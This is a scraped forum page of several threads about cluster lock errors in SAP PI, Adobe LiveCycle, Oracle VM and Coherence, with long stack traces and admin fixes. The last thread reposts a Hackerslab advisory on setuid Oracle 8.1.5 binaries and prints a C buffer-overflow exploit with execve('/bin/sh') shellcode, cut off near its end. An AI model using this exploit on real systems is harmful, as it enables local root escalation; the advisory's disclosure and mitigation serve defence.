EOIO Cluster Lock
Hi,
How do I unlock the EOIO Clucter Lock?
In de communication channel monitoring I see the JMS queue inactive with the following message:
EOIO cluster lock '$com.sap.aii.adapter.jms.eoio' already set for EOIO channel by another cluster node; channel is therefore inactive. Message reported by underlying lock manager: Cannot lock [2010071514571456300000lsarxxx....................xxxxxx, $com.sap.aii.adapter.jms.eoio, 42e79039bc73305cabfb7fb251026570, X]; it is in use by another owner. The lock collision occurred with user .
Thank you in advance.
Best regards,
Dharmi
http://sapxitutorials.blogspot.com/2009_06_01_archive.html
helped
Hereby the Solution:
1. If you sotp the communication channels, then the locks are not availabe in Visual administration.
2. Open Visual Administrator.
3. Route to correspondig server.
4. Expand services and go to Locking adapter.
5. In the locking adapter service go to Display locks tab and click on refesh button then you will able to see the list of all the available locks.
6. Select the existing (hanging) enqueue lock with FILE Argument from the list.
7. Click on "Delete Selected Locks" button.
Similar Messages
-
EOIO cluster lock in JMS sender channel
Hi All,
Our production environment is using cluster.
I have 2 sender JMS channel where EOIO feature has been used.
Today while monitoring we found one of the cluster node is showing below error
EOIO cluster lock:com.sap.aii.adapter.jms.eoio has already been acquired for EOIO channel by another cluster node. Therefore channel has been made inactive. Underlying lock manager reported message(if any) as: Cannot lock [20u2026u2026u2026u2026ip address, com.sap.aii.adapter.jms.eoio,c8u2026(channel ID),E]; it is in use by another owner. The lock collision occurred with user.
We have asked basis to remove the lock and they said that can be removed in NWA system lock.
But before removing the lock I wanted to understand the following
1)Why this lock happened, since it is EOIO? ( this issue is not there in other EO communication channels)
2)Is there any side effect if we delete the lock?
Appreciate your fast response .Hi Michal,
The warning of EOIO cluster lock is still there.
we have 2 clusters, c1 and c2.
in NWA i can see the lock name *($com.sap.aii.adapter.jms.eoio)* is locked by c1 (2 locks (i.e.2 lock argumnets)) and c2 (1 lock).
i can understand that , to ensure the EOIO message proccessing the AF locks the queue , but it should theoritically unlock once the message processing completes.But this is not happening in my case.
Should i try removing one lock? or this is bug. -
We have two nodes in the cluster. Adobe is installed on just one node. Locator is running on one node. Experiencing locking issues for temporary diskstore. Below is the error description.
[12/10/14 13:13:44:925 EST] 00000013 webapp
I com.ibm.ws.webcontainer.webapp.WebGroupImpl WebGroup SRVE0169I: Loading Web Module: dsc.war.
[12/10/14 13:13:44:935 EST] 00000013 WASSessionCor I SessionContextRegistry getSessionContext SESN0176I: Will create a new session context for application key default_host/dsc
[12/10/14 13:13:44:963 EST] 00000013 ServletWrappe I com.ibm.ws.webcontainer.servlet.ServletWrapper init SRVE0242I: [LiveCycleES4] [/dsc] [UploadServlet]: Initialization successful.
[12/10/14 13:13:44:970 EST] 00000013 ArchiveFileMa A ArchiveFileManagerImpl:getLocalCacheRootDir():Adobe tmp directory is:/data/exigen_test/PT/jvm/tmp/adobews__-581654660
[12/10/14 13:14:17:041 EST] 00000013 LocalExceptio E CNTR0020E: EJB threw an unexpected (non-declared) exception during invocation of method "getDomain" on bean "BeanId(LiveCycleES4#adobe-pof.jar#adobe_POFDataDictionaryLocalEJB, null)". Exception data: com.gemstone.gemfire.cache.DiskAccessException: For DiskStore: ReplicatedGuaranteed_POF_DD_CACHE: Could not lock "/data/exigen_test/PT/jvm/tmp/adobews__-581654660/Caching/Data/ReplicatedGuaranteed_POF_D D_CACHE/DRLK_IFReplicatedGuaranteed_POF_DD_CACHE.lk". Other JVMs might have created diskstore with same name using the same directory., caused by java.io.IOException: No locks available
at com.gemstone.gemfire.internal.cache.DiskStoreImpl.createLockFile(DiskStoreImpl.java:1800)
at com.gemstone.gemfire.internal.cache.DiskStoreImpl.loadFiles(DiskStoreImpl.java:1920)
at com.gemstone.gemfire.internal.cache.DiskStoreImpl.<init>(DiskStoreImpl.java:355)
at com.gemstone.gemfire.internal.cache.DiskStoreImpl.<init>(DiskStoreImpl.java:270)
at com.gemstone.gemfire.internal.cache.DiskStoreImpl.<init>(DiskStoreImpl.java:265)
at com.gemstone.gemfire.internal.cache.DiskStoreFactoryImpl.create(DiskStoreFactoryImpl.java :127)
at com.adobe.livecycle.cache.adapter.GemfireCacheAdapter.createSubRegion(GemfireCacheAdapter .java:1043)
at com.adobe.livecycle.cache.adapter.GemfireCacheAdapter.init(GemfireCacheAdapter.java:234)
at com.adobe.livecycle.cache.adapter.GemfireCacheAdapter.<init>(GemfireCacheAdapter.java:215 )
at com.adobe.livecycle.cache.adapter.CacheAdapterFactory.getCache(CacheAdapterFactory.java:1 03)
at com.adobe.pof.POFUtil.getPOFDataDictionaryCache(POFUtil.java:525)
at com.adobe.pof.adapter.AbstractAdapterContext.getDataDictionaryCache(AbstractAdapterContex t.java:89)
at com.adobe.pof.adapter.AbstractAdapterContext.getDomainFromCache(AbstractAdapterContext.ja va:127)
at com.adobe.pof.adapter.JDBCAdapter.getDomain(JDBCAdapter.java:4436)
at com.adobe.pof.schema.POFDataDictionaryImpl.getDomain(POFDataDictionaryImpl.java:113)
at com.adobe.pof.schema.POFDataDictionaryRemoteBean.getDomain(POFDataDictionaryRemoteBean.ja va:148)
at com.adobe.pof.schema.EJSLocalStatelessadobe_POFDataDictionaryLocalEJB_4137caa5.getDomain( Unknown Source)
at com.adobe.pof.schema.POFDataDictionaryLocalEJBAdapter.getDomain(POFDataDictionaryLocalEJB Adapter.java:69)
at com.adobe.pof.odapi.POFSchemaManagerRemoteBean.getDomain(POFSchemaManagerRemoteBean.java: 577)
at com.adobe.pof.odapi.EJSLocalStatelessadobe_POFSchemaManagerLocalEJB_626825cc.getDomain(Un known Source)
at com.adobe.pof.odapi.POFSchemaManagerLocalEJBAdapter.getDomain(POFSchemaManagerLocalEJBAda pter.java:169)
at com.adobe.idp.dsc.startup.DSCStartupServlet$1.doInTransaction(DSCStartupServlet.java:137)
at com.adobe.idp.dsc.transaction.impl.ejb.adapter.EjbTransactionBMTAdapterBean.doRequiresNew (EjbTransactionBMTAdapterBean.java:218)
at com.adobe.idp.dsc.transaction.impl.ejb.adapter.EJSLocalStatelessEjbTransactionBMTAdapter_ 3af08fdf.doRequiresNew(Unknown Source)
at com.adobe.idp.dsc.transaction.impl.ejb.EjbTransactionProvider.execute(EjbTransactionProvi der.java:133)
at com.adobe.idp.dsc.transaction.impl.DefaultTransactionTemplate.execute(DefaultTransactionT emplate.java:79)
at com.adobe.idp.dsc.startup.DSCStartupServlet.init(DSCStartupServlet.java:132)
at javax.servlet.GenericServlet.init(GenericServlet.java:161)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.init(ServletWrapper.java:342)
at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.init(ServletWrapperImpl.java:168)
at com.ibm.ws.webcontainer.servlet.ServletWrapper.loadOnStartupCheck(ServletWrapper.java:136 6)
at com.ibm.ws.webcontainer.webapp.WebApp.doLoadOnStartupActions(WebApp.java:618)
at com.ibm.ws.webcontainer.webapp.WebApp.commonInitializationFinally(WebApp.java:587)
at com.ibm.ws.webcontainer.webapp.WebAppImpl.initialize(WebAppImpl.java:421)
at com.ibm.ws.webcontainer.webapp.WebGroupImpl.addWebApplication(WebGroupImpl.java:88)
at com.ibm.ws.webcontainer.VirtualHostImpl.addWebApplication(VirtualHostImpl.java:169)
at com.ibm.ws.webcontainer.WSWebContainer.addWebApp(WSWebContainer.java:749)
at com.ibm.ws.webcontainer.WSWebContainer.addWebApplication(WSWebContainer.java:634)
at com.ibm.ws.webcontainer.component.WebContainerImpl.install(WebContainerImpl.java:422)
at com.ibm.ws.webcontainer.component.WebContainerImpl.start(WebContainerImpl.java:714)
at com.ibm.ws.runtime.component.ApplicationMgrImpl.start(ApplicationMgrImpl.java:1165)
at com.ibm.ws.runtime.component.DeployedApplicationImpl.fireDeployedObjectStart(DeployedAppl icationImpl.java:1369)
at com.ibm.ws.runtime.component.DeployedModuleImpl.start(DeployedModuleImpl.java:639)
at com.ibm.ws.runtime.component.DeployedApplicationImpl.start(DeployedApplicationImpl.java:9 67)
at com.ibm.ws.runtime.component.ApplicationMgrImpl.startApplication(ApplicationMgrImpl.java: 771)
at com.ibm.ws.runtime.component.ApplicationMgrImpl$5.run(ApplicationMgrImpl.java:2169)
at com.ibm.ws.security.auth.ContextManagerImpl.runAs(ContextManagerImpl.java:5468)
at com.ibm.ws.security.auth.ContextManagerImpl.runAsSystem(ContextManagerImpl.java:5594)
at com.ibm.ws.security.core.SecurityContext.runAsSystem(SecurityContext.java:255)
at com.ibm.ws.runtime.component.ApplicationMgrImpl.start(ApplicationMgrImpl.java:2174)
at com.ibm.ws.runtime.component.CompositionUnitMgrImpl.start(CompositionUnitMgrImpl.java:389 )
at com.ibm.ws.runtime.component.CompositionUnitImpl.start(CompositionUnitImpl.java:123)
at com.ibm.wsspi.runtime.component.WsComponentImpl$_AsynchInitializer.run(WsComponentImpl.ja va:496)
at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1702)
Caused by: java.io.IOException: No locks available
at sun.nio.ch.FileChannelImpl.tryLock(FileChannelImpl.java:924)
at java.nio.channels.FileChannel.tryLock(FileChannel.java:973)
at com.gemstone.gemfire.internal.cache.DiskStoreImpl.createLockFile(DiskStoreImpl.java:1781)
... 56 more
Any immediate help would be appreciated to resolve the issue. Thank you.Similar issue : https://forums.adobe.com/message/6156015#6156015
Check the configuration of temp as well as GDS directories for the cluster : http://www.avoka.com/blog/2008/06/livecycle-directories-global-storagetemp-clustering-and- more/
-Wasil -
Server Pool shows locked how to fix?
Hello all,
Okay, have been rebuilding my server pool in regards to adding the servers back. I was having issues with vlan traffic not being based on my 10gb bonded ports. I could migrate a perfectly working vm to the VM server and have the access fail so I had them reinitialized. Two of them also needed to be rebuilt. Having said that:
1.) When I discovered these servers and then tried to add them to the pool, it seemed to take a much longer time than normal. Trying to abort the job gave me an error that the "Add Server" was locked. I was finally able to delete the server only by restarting the Oracle VM Manager server.
2.) I am getting a locked icon for my pool, see picture.
How do I:
1.) Unlock the server pool via the OVMM CLI?
2.) What could cause the extremely long time to just try to add a server to the pool?
Help!
Cheers,
JamesCheers Budy!
Always a pleasure getting your responses!
Okay, here is what I got when I I tried to transfer the server master:
OVMAPI_4010E Attempt to send command: deconfigure_virtual_ip to server: lmvf-sde-ovs-07.lmvfsde.local failed. OVMAPI_4004E Sync command failed on server: 10.0.160.30. Command: deconfigure_virtual_ip, Server error: org.apache.xmlrpc.XmlRpcException: <class 'agent.lib.filelock.LockError'>:Lock file /var/run/ovs-agent/cluster.lock failed: timeout occured. [Mon Jan 26 15:17:38 EST 2015] [Mon Jan 26 15:17:38 EST 2015]
Trying the restart of the ovs-agent:
Gave up
Here are the relevant log section:
####<2015-01-26T15:17:38.575-0500> <Error> <com.oracle.ovm.mgr.api.job.Job> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <Thread-1188-Set Server: lmvf-sde-ovs-05 on Server Pool: lmvf-sde-OVM-pool-1> <admin> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000ff8> <1422303458575> <BEA-000000> <Job[Set Server: lmvf-sde-ovs-05 on Server Pool: lmvf-sde-OVM-pool-1] Internal (operation) Error due to : OVMAPI_4010E Attempt to send command: deconfigure_virtual_ip to server: lmvf-sde-ovs-07.lmvfsde.local failed. OVMAPI_4004E Sync command failed on server: 10.0.160.30. Command: deconfigure_virtual_ip,
Server error: org.apache.xmlrpc.XmlRpcException: <class 'agent.lib.filelock.LockError'>:Lock file /var/run/ovs-agent/cluster.lock failed: timeout occured.
[Mon Jan 26 15:17:38 EST 2015] [Mon Jan 26 15:17:38 EST 2015]
com.oracle.ovm.mgr.api.exception.FailedOperationException: OVMAPI_4010E Attempt to send command: deconfigure_virtual_ip to server: lmvf-sde-ovs-07.lmvfsde.local failed. OVMAPI_4004E Sync command failed on server: 10.0.160.30. Command: deconfigure_virtual_ip,
Server error: org.apache.xmlrpc.XmlRpcException: <class 'agent.lib.filelock.LockError'>:Lock file /var/run/ovs-agent/cluster.lock failed: timeout occured.
[Mon Jan 26 15:17:38 EST 2015] [Mon Jan 26 15:17:38 EST 2015]
at com.oracle.ovm.mgr.action.ActionEngine.sendCommandToServer(ActionEngine.java:502)
at com.oracle.ovm.mgr.action.ActionEngine.sendServerCommand(ActionEngine.java:420)
at com.oracle.ovm.mgr.action.ActionEngine.sendServerCommand(ActionEngine.java:384)
at com.oracle.ovm.mgr.action.ServerPoolAction.deconfigureVirtualIP(ServerPoolAction.java:166)
at com.oracle.ovm.mgr.op.virtual.ServerPoolVirtualIPDeconfigure.deconfigureVirtualIP(ServerPoolVirtualIPDeconfigure.java:147)
at com.oracle.ovm.mgr.op.virtual.ServerPoolVirtualIPDeconfigure.action(ServerPoolVirtualIPDeconfigure.java:50)
at com.oracle.ovm.mgr.api.collectable.ManagedObjectDbImpl.executeCurrentJobOperationAction(ManagedObjectDbImpl.java:1187)
at sun.reflect.GeneratedMethodAccessor1138.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:606)
at com.oracle.odof.core.AbstractVessel.invokeMethod(AbstractVessel.java:378)
at com.oracle.odof.core.AbstractVessel.invokeMethod(AbstractVessel.java:355)
at com.oracle.odof.core.storage.Transaction.invokeMethod(Transaction.java:902)
at com.oracle.odof.core.Exchange.invokeMethod(Exchange.java:244)
at com.oracle.ovm.mgr.api.virtual.ServerPoolProxy.executeCurrentJobOperationAction(Unknown Source)
at com.oracle.ovm.mgr.api.job.JobEngine.operationActioner(JobEngine.java:240)
at com.oracle.ovm.mgr.api.job.JobEngine.objectActioner(JobEngine.java:332)
at com.oracle.ovm.mgr.api.job.InternalJobDbImpl.objectCommitter(InternalJobDbImpl.java:1502)
at sun.reflect.GeneratedMethodAccessor1137.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:606)
at com.oracle.odof.core.AbstractVessel.invokeMethod(AbstractVessel.java:378)
at com.oracle.odof.core.AbstractVessel.invokeMethod(AbstractVessel.java:355)
at com.oracle.odof.core.BasicWork.invokeMethod(BasicWork.java:111)
at com.oracle.odof.command.InvokeMethodCommand.process(InvokeMethodCommand.java:92)
at com.oracle.odof.core.BasicWork.processCommand(BasicWork.java:86)
at com.oracle.odof.core.TransactionManager.processCommand(TransactionManager.java:717)
at com.oracle.odof.core.WorkflowManager.processCommand(WorkflowManager.java:478)
at com.oracle.odof.core.WorkflowManager.processWork(WorkflowManager.java:536)
at com.oracle.odof.io.AbstractClient.run(AbstractClient.java:42)
at java.lang.Thread.run(Thread.java:745)
Caused by: com.oracle.ovm.mgr.api.exception.ServerOperationException: OVMAPI_4004E Sync command failed on server: 10.0.160.30. Command: deconfigure_virtual_ip,
Server error: org.apache.xmlrpc.XmlRpcException: <class 'agent.lib.filelock.LockError'>:Lock file /var/run/ovs-agent/cluster.lock failed: timeout occured.
[Mon Jan 26 15:17:38 EST 2015]
at com.oracle.ovm.mgr.action.ActionEngine.sendAction(ActionEngine.java:865)
at com.oracle.ovm.mgr.action.ActionEngine.sendCommandToServer(ActionEngine.java:492)
... 30 more
>
####<2015-01-26T15:17:39.817-0500> <Error> <com.oracle.ovm.mgr.faces.util.POJOActionUtils> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <SequentialExecutor-YgEnsDdKVi3uoW0Kp51XU1b8C3g-q5VrlrsXQEm278pMfikl8CVn!611156500!1422299994123-2> <admin> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000608> <1422303459817> <BEA-000000> <Error modifying object of class com.oracle.ovm.appfw.generatedpojos.ServerPoolPOJO@ebd13b8c with the error: Error setting the master server: Job failed on Core: OVMAPI_4010E Attempt to send command: deconfigure_virtual_ip to server: lmvf-sde-ovs-07.lmvfsde.local failed. OVMAPI_4004E Sync command failed on server: 10.0.160.30. Command: deconfigure_virtual_ip,
Server error: org.apache.xmlrpc.XmlRpcException: <class 'agent.lib.filelock.LockError'>:Lock file /var/run/ovs-agent/cluster.lock failed: timeout occured.
[Mon Jan 26 15:17:38 EST 2015] [Mon Jan 26 15:17:38 EST 2015]>
####<2015-01-26T15:17:40.751-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303460751> <BEA-310002> <46% of the total memory in the server is free.>
####<2015-01-26T15:17:43.168-0500> <Warning> <oracle.adf.view.rich.render.RichRenderer> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <[ACTIVE] ExecuteThread: '7' for queue: 'weblogic.kernel.Default (self-tuning)'> <admin> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-000010e8> <1422303463168> <ATTEMPT_SYNC_UNKNOWN_KEY> <Attempt to synchronized unknown key: viewportSize.>
####<2015-01-26T15:17:45.042-0500> <Warning> <oracle.adf.view.rich.render.RichRenderer> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <[ACTIVE] ExecuteThread: '0' for queue: 'weblogic.kernel.Default (self-tuning)'> <admin> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-000010fd> <1422303465042> <ATTEMPT_SYNC_UNKNOWN_KEY> <Attempt to synchronized unknown key: viewportSize.>
####<2015-01-26T15:18:42.001-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303522001> <BEA-310002> <79% of the total memory in the server is free.>
####<2015-01-26T15:19:42.001-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303582001> <BEA-310002> <63% of the total memory in the server is free.>
####<2015-01-26T15:20:43.409-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303643409> <BEA-310002> <81% of the total memory in the server is free.>
####<2015-01-26T15:20:43.420-0500> <Info> <Common> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <Thread-37> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000003> <1422303643420> <BEA-000628> <Created "1" resources for pool "ovm-appfw-ds", out of which "1" are available and "0" are unavailable.>
####<2015-01-26T15:21:43.410-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303703410> <BEA-310002> <67% of the total memory in the server is free.>
####<2015-01-26T15:22:44.533-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303764533> <BEA-310002> <81% of the total memory in the server is free.>
####<2015-01-26T15:23:44.533-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303824533> <BEA-310002> <66% of the total memory in the server is free.>
####<2015-01-26T15:24:45.911-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303885911> <BEA-310002> <80% of the total memory in the server is free.>
####<2015-01-26T15:25:45.911-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422303945911> <BEA-310002> <66% of the total memory in the server is free.>
####<2015-01-26T15:26:34.654-0500> <Info> <JDBC> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <[ACTIVE] ExecuteThread: '1' for queue: 'weblogic.kernel.Default (self-tuning)'> <<WLS Kernel>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-000012d4> <1422303994654> <BEA-001128> <Connection for pool "ovm-jpa-ds" has been closed.>
####<2015-01-26T15:26:34.802-0500> <Info> <JDBC> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <[ACTIVE] ExecuteThread: '7' for queue: 'weblogic.kernel.Default (self-tuning)'> <<WLS Kernel>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-000012d5> <1422303994802> <BEA-001128> <Connection for pool "ovm-qrtz-ds" has been closed.>
####<2015-01-26T15:26:47.054-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422304007054> <BEA-310002> <81% of the total memory in the server is free.>
####<2015-01-26T15:26:47.070-0500> <Info> <Common> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <QuartzScheduler_TestScheduler-lmvf-sde-ovm1.lmvfsde.local1422299886699_MisfireHandler> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000003> <1422304007070> <BEA-000628> <Created "1" resources for pool "ovm-qrtz-ds", out of which "1" are available and "0" are unavailable.>
####<2015-01-26T15:27:47.055-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422304067055> <BEA-310002> <67% of the total memory in the server is free.>
####<2015-01-26T15:28:48.154-0500> <Info> <Health> <lmvf-sde-ovm1.lmvfsde.local> <AdminServer> <weblogic.GCMonitor> <<anonymous>> <> <6e5e7086-7b2a-41db-8e22-9e6f8c8017f9-00000035> <1422304128154> <BEA-310002> <80% of the total memory in the server is free.>
[root@lmvf-sde-ovm1 logs]#
Cheers
James -
Hi,
I am running 2 processes on the same server both connecting to one cluster node.
I need to ensure only one process performs a write operation @ a certain time (i.e. the first one to attain the lock).
I am finding that both the processes are getting the lock, and cannot work-out why...
We are using tcp-extends, and I am using the following related cluster configuration:
<caching-scheme-mapping>
<cache-mapping>
<cache-name>cache.cluster.*</cache-name>
<scheme-name>scheme.cluster.system</scheme-name>
</cache-mapping>
</caching-scheme-mapping>
<caching-schemes>
<proxy-scheme>
<scheme-name>scheme.cluster.proxy</scheme-name>
<service-name>service.cluster.proxy</service-name>
<thread-count>4</thread-count>
<acceptor-config>
<tcp-acceptor>
<local-address>
<address system-property="datacloud.node.tcp-extend.bind-address">localhost</address>
<port system-property="datacloud.node.tcp-extend.port">11200</port>
</local-address>
<keep-alive-enabled>true</keep-alive-enabled>
</tcp-acceptor>
</acceptor-config>
<proxy-config>
<cache-service-proxy>
<lock-enabled>true</lock-enabled>
<!--read-only>true</read-only -->
</cache-service-proxy>
</proxy-config>
<autostart>true</autostart>
</proxy-scheme>
<replicated-scheme>
<scheme-name>scheme.cluster.system</scheme-name>
<service-name>ReplicatedCache</service-name>
<lease-granularity>member</lease-granularity>
<member-listener>
<class-name>datacloud.cluster.listeners.ClusterMemberListener</class-name>
</member-listener>
<backing-map-scheme>
<local-scheme />
</backing-map-scheme>
<autostart>true</autostart>
</replicated-scheme>
</caching-schemes>
The client copies this scheme by using the following:
<cache-mapping>
<cache-name>cache.cluster.lock</cache-name>
<scheme-name>scheme.remote</scheme-name>
</cache-mapping>
The lock essentially does:
NamedCache cache = CacheFactory.getCache("cache.cluster.lock")
boolean isLockAcquired = cache.lock("KEY", 5000)
try {
if(isLockAcquired) {
(takes 2 seconds to complete)
} finally {
cache.unlock("KEY")
Why can 2 processes acquire the same lock when asked to acquire it @ the same time?
Edited by: 907011 on 10-Jan-2012 03:33Hi,
This is my explination of why you are seeing the behaviour you are - I think it is correct but I am sure someone will jump in if not.
1. Your cache config has <lease-granularity>member</lease-granularity> which means that a lock taken out by any thread on a member can be released by the same member. It also means that a Member owns the lock so if I do cache.lock() for a key from some code running on a Member and then do cache.lock() again for the same key on the same Member they will both succeed as the Member owns the lock.
2. Now, when your first process calls <tt>boolean isLockAcquired = cache.lock("KEY", 5000)</tt> it gets the lock but it is not your client process that owns the lock, it is the Extend Proxy your client is connected to that owns it.
3. Consequently when process two, connected to the same Extend proxy, asks for the lock, it gets it too, as it is not your client process that owns the lock, it is the Extend Proxy your client is connected to that owns it.
4. Worse, when process one finishes and releases the lock, then it is released, even though your code in process two still thinks it is running inside the lock.
As I said, that is my understanding of it and why locks do not really work from Extend Clients. In fact there are very few occasions where I would bother to use explicit locks in Coherence (hence my unfamiliarity about the exact workings) as there are usually other, more reliable, ways to achieve the same requirements.
JK -
I have been trying to manage an Oracle VM environment (1 Master server, 3 VM servers) for several months. THe main issue we have is that every so often when we have to reboot a VM guest either when the guest is going down or coming up we will see the following error in the master server /var/log/ovs-agent/ovs_root.log file:
"2011-06-08 22:28:44" ERROR=> OVSPolicyServer.execute_policy(): error. => errcode=00001, errmsg=CDS accquire lock /etc/ovs-agent/db/cluster.lock timeout. locker process is 14070
StackTrace:
File "/opt/ovs-agent-2.3/OVSPolicyServer.py", line 38, in execute_policy
pool_ha_enable = db_load("cluster", "pool_ha_enable", get=True)
File "/opt/ovs-agent-2.3/OVSCDS.py", line 159, in db_load
cds = CDS(db_name)
File "/opt/ovs-agent-2.3/OVSCDS.py", line 119, in __init__
raise CDSLockTimeout(ERR_CDS_LOCK_TIMOUT, {
The only way to get the VM guest to come back online is to shutdown all other VM guests running on the assigned VM server, reboot the VM server, then try again.
I have tried many different avenues to get a resolution:
1. Enabled the server pool/vm servers/vmguests to have HA. This was a disaster because every time the aforementioned error occurred the Master server would be affected and bring down the entire environment.
2. Rebuilt the Oracle VM DB (remove all files in /etc/ovs-agent/db/ and restart/add servers to server pool)
3. Disable HA and rebuild DB again.
Still these errors occur and is really causing many customer issues with constant maintenance reboots. Has anyone seen this and discovered a solution?Hi,
is your storage repository on NFS?
And do you expirence short neworkt outage on the NFS storage maybe, before this error occurs?
You can try with the following workaround:
Stop all OVS-Agents: /etc/init.d/ovs-agent stop --disable-nowayout
Delete the locks on the master: rm /OVS/.ovs-agent/db/*.lock
Start all OVS_Agents: /etc/init.d/ovs-agent start
Regards
Sebastian
Edited by: ssolbach on Jun 9, 2011 6:06 AM -
Security vulnerability in Oracle 8.1.5
The following email was forwarded to me about possible security vulnerabilities.
I am looking for verification from both Oracle and the user comunity.
================================================================================
[ Hackerslab bug_paper ] Linux ORACLE 8.1.5 vulnerability
================================================================================
File : Oracle 8.1.5
SYSTEM : LINUX
Tested by RedHat Linux 6.2
INFO :
There are two security vulnerability in Oracle.
1. buffer overflow
It is possible to create a buffer overflow vulnerability using "ORACLE_HOME",
one of the environmental value of Oracle.
Oracle applications that are vulnerable to buffer overflow are as follow :
- names
- namesctl
- onrsd
- osslogin
- tnslsnr
- tnsping
- trcasst
- trcroute
Thease applications allow an attacker to excute a buffer overflow exploit.
2. Log-files created
When a user excutes one of Oracle applications such as names, oracle or tnslsnr,
following log files are created.
names
======
-rw-rw-r-- 1 oracle dba 0 Oct 20 01:45 ckpcch.ora
-rw-rw-r-- 1 oracle dba 428 Oct 20 01:45 ckpreg.ora
-rw-rw-r-- 1 oracle dba 950 Oct 20 01:45 names.log
oracle
======
-rw-rw---- 1 oracle dba 616 Oct 20 05:14 ora_[running pid].trc
tnslsnr
=======
-rw-rw-r-- 1 oracle dba 2182176 Oct 20 2000 listener.log
SOLUTION
Contact your vendor for a patch or close setuid permission.
# su - oracle
$ cd /oracle_8.1.5_install_directory/bin
$ chmod a-s names namesctl onrsd osslogin tnslsnr tnsping trcasst trcroute
==-------------------------------------------------------------------------------==
* ** ** * [email protected] [yong-jun, kim]
* ** ** * [ [URL=http://www.hackerslab.org]http://www.hackerslab.org ]
******** HACKERSLAB (C) since 1999
==-------------------------------------------------------------------------------==
Oracle 8.1.5 exploit
-by loveyou
offset value : -500 ~ +500
#include <stdio.h>
#include <stdlib.h>
#define BUFFER 800
#define NOP 0x90
#define PATH "/hackerslab/loveyou/oracle/8.1.5/bin/names"
char shellcode[] =
/* - K2 - */
/* main: */
"\xeb\x1d" /* jmp callz */
/* start: */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
"\x29\xc0" /* subl %eax, %eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */
/* callz: */
"\xe8\xde\xff\xff\xff" /* call start */
"/bin/sh";
unsigned long getesp(void)
__asm__("movl %esp,%eax");
int main(int argc, char *argv[])
char buff, ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset;
offset = 0 ;
if ( argc > 1 ) offset = atoi(argv[1]);
buff = malloc(bsize);
addr = getesp() - 5933 - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
memset(buff,bsize/2,NOP);
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
buff[bsize - 1] = '\0';
